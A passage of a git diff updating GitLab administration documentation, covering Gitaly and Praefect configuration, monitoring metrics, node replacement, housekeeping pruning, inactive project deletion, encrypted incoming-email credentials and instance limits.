gitaly['concurrency'] = [ { - 'rpc' => "/gitaly.SmartHTTPService/PostUploadPackWithSidechanel", + 'rpc' => "/gitaly.SmartHTTPService/PostUploadPackWithSidechannel", 'max_per_repo' => 20, 'max_queue_time' => "1s", 'max_queue_size' => 10 diff --git a/doc/administration/gitaly/index.md b/doc/administration/gitaly/index.md index b2b6962a222..405c56284cf 100644 --- a/doc/administration/gitaly/index.md +++ b/doc/administration/gitaly/index.md @@ -60,7 +60,7 @@ If you have: - A sharded Gitaly instance. - Gitaly Cluster. -Contact your Technical Account Manager or customer support if you have any questions. +Contact your [Customer Success Manager](https://about.gitlab.com/job-families/sales/customer-success-management/) or customer support if you have any questions. ### Known issues @@ -70,7 +70,7 @@ the current status of these issues, refer to the referenced issues and epics. | Issue | Summary | How to avoid | |:--------------------------------------------------------------------------------------|:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|:--------------------------------| | Gitaly Cluster + Geo - Issues retrying failed syncs | If Gitaly Cluster is used on a Geo secondary site, repositories that have failed to sync could continue to fail when Geo tries to resync them. Recovering from this state requires assistance from support to run manual steps. | No known solution prior to GitLab 15.0. In GitLab 15.0 to 15.2, enable the [`gitaly_praefect_generated_replica_paths` feature flag](#praefect-generated-replica-paths-gitlab-150-and-later). In GitLab 15.3, the feature flag is enabled by default. | -| Praefect unable to insert data into the database due to migrations not being applied after an upgrade | If the database is not kept up to date with completed migrations, then the Praefect node is unable to perform normal operation. | Make sure the Praefect database is up and running with all migrations completed (For example: `/opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml sql-migrate-status` should show a list of all applied migrations). Consider [requesting upgrade assistance](https://about.gitlab.com/support/scheduling-upgrade-assistance/) so your upgrade plan can be reviewed by support. | +| Praefect unable to insert data into the database due to migrations not being applied after an upgrade | If the database is not kept up to date with completed migrations, then the Praefect node is unable to perform standard operation. | Make sure the Praefect database is up and running with all migrations completed (For example: `/opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml sql-migrate-status` should show a list of all applied migrations). Consider [requesting upgrade assistance](https://about.gitlab.com/support/scheduling-upgrade-assistance/) so your upgrade plan can be reviewed by support. | | Restoring a Gitaly Cluster node from a snapshot in a running cluster | Because the Gitaly Cluster runs with consistent state, introducing a single node that is behind results in the cluster not being able to reconcile the nodes data and other nodes data | Don't restore a single Gitaly Cluster node from a backup snapshot. If you must restore from backup:<br/><br/>1. [Shut down GitLab](../read_only_gitlab.md#shut-down-the-gitlab-ui).<br/>2. Snapshot all Gitaly Cluster nodes at the same time.<br/>3. Take a database dump of the Praefect database. | | Rebuilding or replacing an existing Gitaly Cluster node | There is no way to replace existing nodes in place because the Praefect database is relied on to determine the current state of each Gitaly node. Changing how Gitaly Cluster stores repositories is proposed in issue [4218](https://gitlab.com/gitlab-org/gitaly/-/issues/4218). Turning on [repository verification](praefect.md#repository-verification) is proposed in issue [4429](https://gitlab.com/gitlab-org/gitaly/-/issues/4429) so Praefect can detect that data is missing and needs to replicated to a new Gitaly node. | No known solution at this time. | @@ -289,7 +289,7 @@ be uneconomical to have the same replication factor for all repositories. To provide greater flexibility for extremely large GitLab instances, variable replication factor is tracked in [this issue](https://gitlab.com/groups/gitlab-org/-/epics/3372). -As with normal Gitaly storages, virtual storages can be sharded. +As with standard Gitaly storages, virtual storages can be sharded. ### Storage layout @@ -388,7 +388,7 @@ Gitaly Cluster uses the PostgreSQL metadata store with the storage layout to ens deletion, and move operations. The disk operations can't be atomically applied across multiple storages. However, PostgreSQL guarantees the atomicity of the metadata operations. Gitaly Cluster models the operations in a manner that the failing operations always leave the metadata consistent. The disks may contain stale state even after successful operations. This is expected and the leftover state -won't interfere with future operations but may use up disk space unnecessarily until a clean up is performed. +does not interfere with future operations but may use up disk space unnecessarily until a clean up is performed. There is on-going work on a [background crawler](https://gitlab.com/gitlab-org/gitaly/-/issues/3719) that cleans up the leftover repositories from the storages. @@ -617,8 +617,8 @@ a commit), you still have: - The cost of a network roundtrip to Gitaly. - Inside Gitaly, a write/read roundtrip on the Unix pipes that connect Gitaly to the `git` process. -Using GitLab.com to measure, we reduced the number of Gitaly calls per request until the loss of -Rugged's efficiency was no longer felt. It also helped that we run Gitaly itself directly on the Git +Using GitLab.com to measure, we reduced the number of Gitaly calls per request until we no longer felt +the efficiency loss of losing Rugged. It also helped that we run Gitaly itself directly on the Git file servers, rather than by using NFS mounts. This gave us a speed boost that counteracted the negative effect of not using Rugged anymore. diff --git a/doc/administration/gitaly/monitoring.md b/doc/administration/gitaly/monitoring.md index 9024da269ca..0fd34d5c89f 100644 --- a/doc/administration/gitaly/monitoring.md +++ b/doc/administration/gitaly/monitoring.md @@ -167,14 +167,8 @@ To monitor [strong consistency](index.md#strong-consistency), you can use the fo - `gitaly_hook_transaction_voting_delay_seconds`, the client-side delay introduced by waiting for the transaction to be committed. -To monitor the number of repositories that have no healthy, up-to-date replicas: - -- `gitaly_praefect_unavailable_repositories` - To monitor [repository verification](praefect.md#repository-verification), use the following Prometheus metrics: -- `gitaly_praefect_verification_queue_depth`, the total number of replicas pending verification. This - metric is scraped from the database and is only available when Prometheus is scraping the database metrics. - `gitaly_praefect_verification_jobs_dequeued_total`, the number of verification jobs picked up by the worker. - `gitaly_praefect_verification_jobs_completed_total`, the number of verification jobs completed by the @@ -185,6 +179,9 @@ To monitor [repository verification](praefect.md#repository-verification), use t - `gitaly_praefect_stale_verification_leases_released_total`, the number of stale verification leases released. +The `/metrics` endpoint also provides all the metrics available under the `/db_metrics` endpoint. Using `/metrics` for `/db_metrics` metrics +is [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/390266) in GitLab 15.9 and will be removed in GitLab 16.0. + You can also monitor the [Praefect logs](../logs/index.md#praefect-logs). ### Database metrics `/db_metrics` endpoint @@ -194,7 +191,7 @@ You can also monitor the [Praefect logs](../logs/index.md#praefect-logs). The following metrics are available from the `/db_metrics` endpoint: - `gitaly_praefect_unavailable_repositories`, the number of repositories that have no healthy, up to date replicas. -- `gitaly_praefect_read_only_repositories`, the number of repositories in read-only mode in a virtual storage. - This metric is available for backwards compatibility reasons. `gitaly_praefect_unavailable_repositories` is more - accurate. - `gitaly_praefect_replication_queue_depth`, the number of jobs in the replication queue. +- `gitaly_praefect_verification_queue_depth`, the total number of replicas pending verification. +- `gitaly_praefect_read_only_repositories`, the number of repositories in read-only mode in a virtual storage. + - This metric was [removed](https://gitlab.com/gitlab-org/gitaly/-/issues/4229) in GitLab 15.4. diff --git a/doc/administration/gitaly/praefect.md b/doc/administration/gitaly/praefect.md index 8b4750b299d..440bd7427ae 100644 --- a/doc/administration/gitaly/praefect.md +++ b/doc/administration/gitaly/praefect.md @@ -802,7 +802,7 @@ To complete this section you need: These should be dedicated nodes, do not run other services on these nodes. Every Gitaly server assigned to the Praefect cluster needs to be configured. The -configuration is the same as a normal [standalone Gitaly server](index.md), +configuration is the same as a standard [standalone Gitaly server](index.md), except: - The storage names are exposed to Praefect, not GitLab @@ -1025,7 +1025,7 @@ Particular attention should be shown to: WARNING: If you have existing data stored on the default Gitaly storage, - you should [migrate the data your Gitaly Cluster storage](index.md#migrate-to-gitaly-cluster) + you should [migrate the data to your Gitaly Cluster storage](index.md#migrate-to-gitaly-cluster) first. ```ruby diff --git a/doc/administration/gitaly/recovery.md b/doc/administration/gitaly/recovery.md index 56894f3e963..1207d7af3e7 100644 --- a/doc/administration/gitaly/recovery.md +++ b/doc/administration/gitaly/recovery.md @@ -9,6 +9,57 @@ info: To determine the technical writer assigned to the Stage/Group associated w Gitaly Cluster can recover from primary-node failure and unavailable repositories. Gitaly Cluster can perform data recovery and has Praefect tracking database tools. +## Manage Gitaly nodes on a Gitaly Cluster + +You can add and replace Gitaly nodes on a Gitaly Cluster. + +### Add new Gitaly nodes + +To add a new Gitaly node to a Gitaly Cluster that has [replication factor](praefect.md#configure-replication-factor): + +- Set, set the [replication factor](praefect.md#configure-replication-factor) for each repository using `set-replication-factor` Praefect command. New repositories are + replicated based on [replication factor](praefect.md#configure-replication-factor). Praefect doesn't automatically replicate existing repositories to the new Gitaly node. +- Not set, add the new node in your [Praefect configuration](praefect.md#praefect) under `praefect['virtual_storages']`. Praefect automatically replicates all data to any + new Gitaly node added to the configuration. + +### Replace an existing Gitaly node + +You can replace an existing Gitaly node with a new node with either the same name or a different name. + +#### With a node with the same name + +To use the same name for the replacement node, use [repository verifier](praefect.md#enable-deletions) to scan the storage and remove dangling metadata records. +[Manually prioritize verification](praefect.md#prioritize-verification-manually) of the replaced storage to speed up the process. + +#### With a node with a different name + +To use a different name for the replacement node for a Gitaly Cluster that has [replication factor](praefect.md#configure-replication-factor): + +- Set, use [`praefect set-replication-factor`](praefect.md#configure-replication-factor) to set the replication factor per repository again to get new storage assigned. + For example: + + ```shell + $ sudo /opt/gitlab/embedded/bin/praefect -config /var/opt/gitlab/praefect/config.toml set-replication-factor -virtual-storage default -repository @hashed/3f/db/3fdba35f04dc8c462986c992bcf875546257113072a909c162f7e470e581e278.git -replication-factor 2 + + current assignments: gitaly-1, gitaly-2 + ``` + + To reassign all repositories from the old storage to the new one, after configuring the new Gitaly node: + + 1. Connect to Praefect database: + + ```shell + /opt/gitlab/embedded/bin/psql -h <psql host> -U <user> -d <database name> + ``` + + 1. Update `repository_assignments` table to replace the old Gitaly node name (for example, `old-gitaly`) with the new Gitaly node name (for example, `new-gitaly`): + + ```sql + UPDATE repository_assignments SET storage='new-gitaly' WHERE storage='old-gitaly'; + ``` + +- Not set, replace the node in the configuration. The old node's state remains in the Praefect database but it is ignored. + ## Primary node failure > - Introduced in GitLab 13.0, Gitaly Cluster, elects the secondary with the least unreplicated writes from the primary to be the new primary. There can still be some unreplicated writes, so [data loss can occur](#check-for-data-loss). diff --git a/doc/administration/gitaly/reference.md b/doc/administration/gitaly/reference.md index cec18960dfd..1516b82a906 100644 --- a/doc/administration/gitaly/reference.md +++ b/doc/administration/gitaly/reference.md @@ -26,7 +26,7 @@ At the top level, `config.toml` defines the items described on the table below. | `socket_path` | string | yes (if `listen_addr` is not set) | A path which Gitaly should open a Unix socket. | | `listen_addr` | string | yes (if `socket_path` is not set) | TCP address for Gitaly to listen on. | | `tls_listen_addr` | string | no | TCP over TLS address for Gitaly to listen on. | -| `bin_dir` | string | yes | Directory containing Gitaly's executables. | +| `bin_dir` | string | yes | Directory containing Gitaly executables. | | `prometheus_listen_addr` | string | no | TCP listen address for Prometheus metrics. If not set, no Prometheus listener is started. | For example: @@ -100,7 +100,7 @@ by GitLab with names, such as `default`. These names and paths are also defined in the `gitlab.yml` configuration file of GitLab. When you run Gitaly on the same machine as GitLab (the default -and recommended configuration) storage paths defined in Gitaly's `config.toml` +and recommended configuration) storage paths defined in the Gitaly `config.toml` must match those in `gitlab.yml`. | Name | Type | Required | Description | @@ -146,7 +146,7 @@ The default limit is 100 `cat-file`s, which constitute a pair of you are seeing errors complaining about "too many open files", or an inability to create new processes, you may want to lower this limit. -Ideally, the number should be large enough to handle normal +Ideally, the number should be large enough to handle standard traffic. If you raise the limit, you should measure the cache hit ratio before and after. If the hit ratio does not improve, the higher limit is probably not making a meaningful difference. Here is an example diff --git a/doc/administration/gitaly/troubleshooting.md b/doc/administration/gitaly/troubleshooting.md index 4b8ed74ec62..5f05b6322b0 100644 --- a/doc/administration/gitaly/troubleshooting.md +++ b/doc/administration/gitaly/troubleshooting.md @@ -401,6 +401,20 @@ push, which causes a significant delay. If Git pushes are too slow when Dynatrace is enabled, disable Dynatrace. +## Gitaly fails to fork processes stored on `noexec` file systems + +Because of changes [introduced](https://gitlab.com/gitlab-org/omnibus-gitlab/-/merge_requests/5999) in GitLab 14.10, applying the `noexec` option to a mount +point (for example, `/var`) causes Gitaly to throw `permission denied` errors related to forking processes. For example: + +```shell +fork/exec /var/opt/gitlab/gitaly/run/gitaly-2057/gitaly-git2go: permission denied +``` + +To resolve this, remove the `noexec` option from the file system mount. An alternative is to change the Gitaly runtime directory: + +1. Add `gitaly['runtime_dir'] = '<PATH_WITH_EXEC_PERM>'` to `/etc/gitlab/gitlab.rb` and specify a location without `noexec` set. +1. Run `sudo gitlab-ctl reconfigure`. + ## Troubleshoot Praefect (Gitaly Cluster) The following sections provide possible solutions to Gitaly Cluster errors. @@ -703,7 +717,7 @@ Possible solutions: ## Profiling Gitaly -Gitaly exposes several of Golang's built-in performance profiling tools on the Prometheus listen port. For example, if Prometheus is listening +Gitaly exposes several of the Golang built-in performance profiling tools on the Prometheus listen port. For example, if Prometheus is listening on port `9236` of the GitLab server: - Get a list of running `goroutines` and their backtraces: @@ -724,7 +738,7 @@ on port `9236` of the GitLab server: curl --output heap.bin "http://<gitaly_server>:9236/debug/pprof/heap" ``` -- Record a 5 second execution trace. This will impact Gitaly's performance while running: +- Record a 5 second execution trace. This impacts the Gitaly performance while running: ```shell curl --output trace.bin "http://<gitaly_server>:9236/debug/pprof/trace?seconds=5" diff --git a/doc/administration/housekeeping.md b/doc/administration/housekeeping.md index e1b26595bc4..d58989db70c 100644 --- a/doc/administration/housekeeping.md +++ b/doc/administration/housekeeping.md @@ -119,6 +119,29 @@ background worker asks Gitaly to perform a number of optimizations. Housekeeping also [removes unreferenced LFS files](../raketasks/cleanup.md#remove-unreferenced-lfs-files) from your project every `200` push, freeing up storage space for your project. +### Prune unreachable objects + +Unreachable objects are pruned as part of scheduled housekeeping. However, +you can trigger manual pruning as well. An example: removing commits that contain sensitive +information. Triggering housekeeping prunes unreachable objects with a grace period of +two weeks. When you manually trigger the pruning of unreachable objects, the grace period +is reduced to 30 minutes. + +WARNING: +If a concurrent process (like `git push`) has created an object but hasn't created +a reference to the object yet, your repository can become corrupted if a reference +to the object is added after the object is deleted. The grace period exists to +reduce the likelihood of such race conditions. + +To trigger a manual prune of unreachable objects: + +1. On the top bar, select **Main menu > Projects** and find your project. +1. On the left sidebar, select **Settings > General**. +1. Expand **Advanced**. +1. Select **Run housekeeping**. +1. Wait 30 minutes for the operation to complete. +1. Return to the page where you selected **Run housekeeping**, and select **Prune unreachable objects**. + ### Scheduled housekeeping While GitLab automatically performs housekeeping tasks based on the number of @@ -130,7 +153,7 @@ strategy. Administrators can enable a background job that performs housekeeping in all repositories at a customizable interval to remedy this situation. This background job processes all repositories hosted by a Gitaly node in a random -order and eagerly performs housekeeping tasks on them. The Gitaly node will stop +order and eagerly performs housekeeping tasks on them. The Gitaly node stops processing repositories if it takes longer than the configured interval. #### Configure scheduled housekeeping @@ -166,7 +189,7 @@ of a repository. When creating the first fork, we: 1. Create an object pool repository that contains all objects of the repository that is about to be forked. -1. Link the repository to this new object pool via Git's alternates mechanism. +1. Link the repository to this new object pool via the alternates mechanism of Git. 1. Repack the repository so that it uses objects from the object pool. It thus can drop its own copy of the objects. @@ -181,12 +204,12 @@ GitLab needs to perform special housekeeping operations in object pools: thus maintain references to unreachable "dangling" objects so that they don't ever get deleted. - GitLab must update object pools regularly to pull in new objects that have - been added in the primary repository. Otherwise, an object pool will become + been added in the primary repository. Otherwise, an object pool becomes increasingly inefficient at deduplicating objects. These housekeeping operations are performed by the specialized `FetchIntoObjectPool` RPC that handles all of these special tasks while also -executing the regular housekeeping tasks we execute for normal Git +executing the regular housekeeping tasks we execute for standard Git repositories. Object pools are getting optimized automatically whenever the primary member is diff --git a/doc/administration/inactive_project_deletion.md b/doc/administration/inactive_project_deletion.md index ea5658bef84..aad6a420246 100644 --- a/doc/administration/inactive_project_deletion.md +++ b/doc/administration/inactive_project_deletion.md @@ -8,70 +8,55 @@ info: To determine the technical writer assigned to the Stage/Group associated w > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/85689) in GitLab 15.0 [with a flag](../administration/feature_flags.md) named `inactive_projects_deletion`. Disabled by default. > - [Feature flag `inactive_projects_deletion`](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/96803) removed in GitLab 15.4. +> - Configuration through GitLab UI [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/85575) in GitLab 15.1. Administrators of large GitLab instances can find that over time, projects become inactive and are no longer used. -These projects take up unnecessary disk space. With inactive project deletion, you can identify these projects, warn -the maintainers ahead of time, and then delete the projects if they remain inactive. When an inactive project is -deleted, the action generates an audit event that it was performed by the @GitLab-Admin-Bot. +These projects take up unnecessary disk space. + +With inactive project deletion, you can identify these projects, warn the maintainers ahead of time, and then delete the +projects if they remain inactive. When an inactive project is deleted, the action generates an audit event that it was +performed by the @GitLab-Admin-Bot. For the default setting on GitLab.com, see the [GitLab.com settings page](../user/gitlab_com/index.md#inactive-project-deletion). ## Configure inactive project deletion -You can configure inactive projects deletion or turn it off using either: - -- [The GitLab API](#using-the-api) (GitLab 15.0 and later). -- [The GitLab UI](#using-the-gitlab-ui) (GitLab 15.1 and later). - -The following options are available: - -- **Delete inactive projects** (`delete_inactive_projects`): Enable or disable inactive project deletion. -- **Delete inactive projects that exceed** (`inactive_projects_min_size_mb`): Minimum size (MB) of inactive projects to - be considered for deletion. Projects smaller in size than this threshold aren't considered inactive. -- **Delete project after** (`inactive_projects_delete_after_months`): Minimum duration (months) after which a project is - scheduled for deletion if it continues be inactive. -- **Send warning email** (`inactive_projects_send_warning_email_after_months`): Minimum duration (months) after which a - deletion warning email is sent if a project continues to be inactive. The warning email is sent to users with the - Owner and Maintainer roles of the inactive project. This duration must be less than the - **Delete project after** (`inactive_projects_delete_after_months`) duration. +To configure deletion of inactive projects: -For example (using the API): - -- `delete_inactive_projects` enabled. -- `inactive_projects_min_size_mb` set to `50`. -- `inactive_projects_delete_after_months` set to `12`. -- `inactive_projects_send_warning_email_after_months` set to `6`. - -In this scenario, when a project's size is: +1. On the top bar, select **Main menu > Admin**. +1. On the left sidebar, select **Settings > Repository**. +1. Expand **Repository maintenance**. +1. In the **Inactive project deletion** section, select **Delete inactive projects**. +1. Configure the settings. + - The warning email is sent to users who have the Owner and Maintainer role for the inactive project. + - The email duration must be less than the **Delete project after** duration. +1. Select **Save changes**. -- Less than 50 MB, the project is not considered inactive. -- Greater than 50 MB and it is inactive for: - - More than 6 months, a deletion warning is email is sent to users with the Owner and Maintainer role on the project - with the scheduled date of deletion. - - More than 12 months, the project is scheduled for deletion. +Inactive projects that meet the criteria are scheduled for deletion and a warning email is sent. If the +projects remain inactive, they are deleted after the specified duration. -### Using the API +### Configuration example -You can use the [Application settings API](../api/settings.md#change-application-settings) to configure inactive projects. +If you use these settings: -### Using the GitLab UI +- **Delete inactive projects** enabled. +- **Delete inactive projects that exceed** set to `50`. +- **Delete project after** set to `12`. +- **Send warning email** set to `6`. -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/85575) in GitLab 15.1. +If a project is less than 50 MB, the project is not considered inactive. -To configure inactive projects with the GitLab UI: +If a project is more than 50 MB and it is inactive for: -1. On the top bar, select **Main menu > Admin**. -1. On the left sidebar, select **Settings > Repository**. -1. Expand **Repository maintenance**. -1. In the **Inactive project deletion** section, configure the necessary options. -1. Select **Save changes**. +- More than 6 months: A deletion warning email is sent. This mail includes the date that the project will be deleted. +- More than 12 months: The project is scheduled for deletion. ## Determine when a project was last active You can view a project's activities and determine when the project was last active in the following ways: -1. Go to the [activity page](../user/project/working_with_projects.md#view-project-activity) for the project and view - the date of the latest event. -1. View the `last_activity_at` attribute for the project using the [Projects API](../api/projects.md). -1. List the visible events for the project using the [Events API](../api/events.md#list-a-projects-visible-events). - View the `created_at` attribute of the latest event. +- Go to the [activity page](../user/project/working_with_projects.md#view-project-activity) for the project and view + the date of the latest event. +- View the `last_activity_at` attribute for the project using the [Projects API](../api/projects.md). +- List the visible events for the project using the [Events API](../api/events.md#list-a-projects-visible-events). + View the `created_at` attribute of the latest event. diff --git a/doc/administration/incoming_email.md b/doc/administration/incoming_email.md index 2093d55d8c0..ea051e2067d 100644 --- a/doc/administration/incoming_email.md +++ b/doc/administration/incoming_email.md @@ -798,20 +798,19 @@ incoming_email: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/214900) in GitLab 13.11. GitLab can read incoming email using the Microsoft Graph API instead of -IMAP. Because [Microsoft is deprecating IMAP usage with Basic Authentication](https://techcommunity.microsoft.com/t5/exchange-team-blog/announcing-oauth-2-0-support-for-imap-and-smtp-auth-protocols-in/ba-p/1330432), the Microsoft Graph API will soon be required for new Microsoft Exchange Online -mailboxes. +IMAP. Because [Microsoft is deprecating IMAP usage with Basic Authentication](https://techcommunity.microsoft.com/t5/exchange-team-blog/announcing-oauth-2-0-support-for-imap-and-smtp-auth-protocols-in/ba-p/1330432), the Microsoft Graph API is be required for new Microsoft Exchange Online mailboxes. -To configure GitLab for Microsoft Graph, you will need to register an -OAuth2 application in your Azure Active Directory that has the +To configure GitLab for Microsoft Graph, you need to register an +OAuth 2.0 application in your Azure Active Directory that has the `Mail.ReadWrite` permission for all mailboxes. See the [MailRoom step-by-step guide](https://github.com/tpitale/mail_room/#microsoft-graph-configuration) and [Microsoft instructions](https://learn.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app) for more details. -Record the following when you configure your OAuth2 application: +Record the following when you configure your OAuth 2.0 application: - Tenant ID for your Azure Active Directory -- Client ID for your OAuth2 application -- Client secret your OAuth2 application +- Client ID for your OAuth 2.0 application +- Client secret your OAuth 2.0 application ##### Restrict mailbox access @@ -868,3 +867,131 @@ gitlab_rails['incoming_email_inbox_options'] = { ``` The Microsoft Graph API is not yet supported in source installations. See [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/326169) for more details. + +### Use encrypted credentials + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/108279) in GitLab 15.9. + +Instead of having the incoming email credentials stored in plaintext in the configuration files, you can optionally +use an encrypted file for the incoming email credentials. + +Prerequisites: + +- To use encrypted credentials, you must first enable the + [encrypted configuration](encrypted_configuration.md). + +The supported configuration items for the encrypted file are: + +- `user` +- `password` + +::Tabs + +:::TabTitle Linux package (Omnibus) + +1. If initially your incoming email configuration in `/etc/gitlab/gitlab.rb` looked like: + + ```ruby + gitlab_rails['incoming_email_email'] = "incoming-email@mail.example.com" + gitlab_rails['incoming_email_password'] = "examplepassword" + ``` + +1. Edit the encrypted secret: + + ```shell + sudo gitlab-rake gitlab:incoming_email:secret:edit EDITOR=vim + ``` + +1. Enter the unencrypted contents of the incoming email secret: + + ```yaml + user: 'incoming-email@mail.example.com' + password: 'examplepassword' + ``` + +1. Edit `/etc/gitlab/gitlab.rb` and remove the `incoming_email` settings for `email` and `password`. +1. Save the file and reconfigure GitLab: + + ```shell + sudo gitlab-ctl reconfigure + ``` + +:::TabTitle Helm chart (Kubernetes) + +Use a Kubernetes secret to store the incoming email password. For more information, +read about [Helm IMAP secrets](https://docs.gitlab.com/charts/installation/secrets.html#imap-password-for-incoming-emails). + +:::TabTitle Docker + +1. If initially your incoming email configuration in `docker-compose.yml` looked like: + + ```yaml + version: "3.6" + services: + gitlab: + image: 'gitlab/gitlab-ee:latest' + restart: always + hostname: 'gitlab.example.com' + environment: + GITLAB_OMNIBUS_CONFIG: | + gitlab_rails['incoming_email_email'] = "incoming-email@mail.example.com" + gitlab_rails['incoming_email_password'] = "examplepassword" + ``` + +1. Get inside the container, and edit the encrypted secret: + + ```shell + sudo docker exec -t <container_name> bash + gitlab-rake gitlab:incoming_email:secret:edit EDITOR=editor + ``` + +1. Enter the unencrypted contents of the incoming email secret: + + ```yaml + user: 'incoming-email@mail.example.com' + password: 'examplepassword' + ``` + +1. Edit `docker-compose.yml` and remove the `incoming_email` settings for `email` and `password`. +1. Save the file and restart GitLab: + + ```shell + docker compose up -d + ``` + +:::TabTitle Self-compiled (source) + +1. If initially your incoming email configuration in `/home/git/gitlab/config/gitlab.yml` looked like: + + ```yaml + production: + incoming_email: + user: 'incoming-email@mail.example.com' + password: 'examplepassword' + ``` + +1. Edit the encrypted secret: + + ```shell + bundle exec rake gitlab:incoming_email:secret:edit EDITOR=vim RAILS_ENVIRONMENT=production + ``` + +1. Enter the unencrypted contents of the incoming email secret: + + ```yaml + user: 'incoming-email@mail.example.com' + password: 'examplepassword' + ``` + +1. Edit `/home/git/gitlab/config/gitlab.yml` and remove the `incoming_email:` settings for `user` and `password`. +1. Save the file and restart GitLab and Mailroom + + ```shell + # For systems running systemd + sudo systemctl restart gitlab.target + + # For systems running SysV init + sudo service gitlab restart + ``` + +::EndTabs diff --git a/doc/administration/index.md b/doc/administration/index.md index 1059424da27..9f4477bcbf7 100644 --- a/doc/administration/index.md +++ b/doc/administration/index.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated description: 'Learn how to install, configure, update, and maintain your GitLab instance.' --- -# Administrator documentation **(FREE SELF)** +# Administer GitLab **(FREE SELF)** If you use GitLab.com, only GitLab team members have access to administration tools and settings. If you use a self-managed GitLab instance, learn how to administer it. diff --git a/doc/administration/instance_limits.md b/doc/administration/instance_limits.md index 5215f0eaed2..b1d97fd16a9 100644 --- a/doc/administration/instance_limits.md +++ b/doc/administration/instance_limits.md @@ -156,16 +156,17 @@ Set the limit to `0` to disable it. ### Search rate limit -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/80631) in GitLab 14.9. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/80631) in GitLab 14.9. +> - [Changed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/104208) to include issue, merge request, and epic searches to the rate limit in GitLab 15.9. -This setting limits global search requests as follows: +This setting limits search requests as follows: | Limit | Default (requests per minute) | |-------------------------|-------------------------------| | Authenticated user | 30 | | Unauthenticated user | 10 | -Depending on the number of enabled [scopes](../user/search/index.md#global-search-scopes), a global search request can consume two to seven requests per minute. You may want to disable one or more scopes to use fewer requests. Global search requests that exceed the search rate limit per minute return the following error: +Depending on the number of enabled [scopes](../user/search/index.md#global-search-scopes), a global search request can consume two to seven requests per minute. You may want to disable one or more scopes to use fewer requests. Search requests that exceed the search rate limit per minute return the following error: ```plaintext This endpoint has been requested too many times. Try again later. @@ -181,7 +182,7 @@ Read more about [pipeline creation rate limits](../user/admin_area/settings/rate ## Gitaly concurrency limit -Clone traffic can put a large strain on your Gitaly service. To prevent such workloads from overwhelming your Gitaly server, you can set concurrency limits in Gitaly's configuration file. +Clone traffic can put a large strain on your Gitaly service. To prevent such workloads from overwhelming your Gitaly server, you can set concurrency limits in the Gitaly configuration file. Read more about [Gitaly concurrency limits](gitaly/configure_gitaly.md#limit-rpc-concurrency). @@ -379,7 +380,7 @@ and to limit memory consumption. When using offset-based pagination in the REST API, there is a limit to the maximum requested offset into the set of results. This limit is only applied to endpoints that also support keyset-based pagination. More information about pagination options can be -found in the [API documentation section on pagination](../api/index.md#pagination). +found in the [API documentation section on pagination](../api/rest/index.md#pagination). To set this limit for a self-managed installation, run the following in the [GitLab Rails console](operations/rails_console.md#starting-a-rails-console-session): @@ -654,7 +655,6 @@ setting is used: | `ci_max_artifact_size_archive` | 0 | | `ci_max_artifact_size_browser_performance` | 0 | | `ci_max_artifact_size_cluster_applications` | 0 | -| `ci_max_artifact_size_cluster_image_scanning` | 0 | | `ci_max_artifact_size_cobertura` | 0 | | `ci_max_artifact_size_codequality` | 0 | | `ci_max_artifact_size_container_scanning` | 0 | @@ -1073,9 +1073,19 @@ varies by file type: > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/320902) in GitLab 13.9. If a branch is merged while open merge requests still point to it, GitLab can -retarget merge requests pointing to the now-merged branch. To learn more, read +retarget merge requests pointing to the now-merged branch. For more information, see [Update merge requests when target branch merges](../user/project/merge_requests/index.md#update-merge-requests-when-target-branch-merges). +## Maximum number of assignees and reviewers + +> - Maximum assignees [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/368936) in GitLab 15.6. +> - Maximum reviewers [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/366485) in GitLab 15.9. + +Issues and merge requests enforce these maximums: + +- Maximum assignees: 200 +- Maximum reviewers: 200 + ## CDN-based limits on GitLab.com In addition to application-based limits, GitLab.com is configured to use Cloudflare's standard DDoS protection and Spectrum to protect Git over SSH. Cloudflare terminates client TLS connections but is not application aware and cannot be used for limits tied to users or groups. Cloudflare page rules and rate limits are configured with Terraform. These configurations are [not public](https://about.gitlab.com/handbook/communication/#not-public) because they include security and abuse implementations that detect malicious activities and making them public would undermine those operations. diff --git a/doc/administration/instance_review.md b/doc/administration/instance_review.md index 5516a47637d..277595190b3 100644 --- a/doc/administration/instance_review.md +++ b/doc/administration/instance_review.md @@ -20,7 +20,7 @@ details and contact you with suggestions to improve your use of GitLab. To request an instance review: 1. Sign in as an administrator. -1. On the top bar, in the top right corner, select your avatar. +1. On the top bar, in the upper-right corner, select your avatar. 1. Select **Get a free instance review**.  diff --git a/doc/administration/integration/kroki.md b/doc/administration/integration/kroki.md index 491eeb002e4..081c4d8a08c 100644 --- a/doc/administration/integration/kroki.md +++ b/doc/administration/integration/kroki.md @@ -4,7 +4,7 @@ group: Project Management info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Kroki diagrams **(FREE SELF)** +# Kroki **(FREE SELF)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/241744) in GitLab 13.7. > - Support for reStructuredText and Textile documents [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/324766) in GitLab 13.12. diff --git a/doc/administration/integration/mailgun.md b/doc/administration/integration/mailgun.md index d78cd9e1796..218b2888033 100644 --- a/doc/administration/integration/mailgun.md +++ b/doc/administration/integration/mailgun.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w 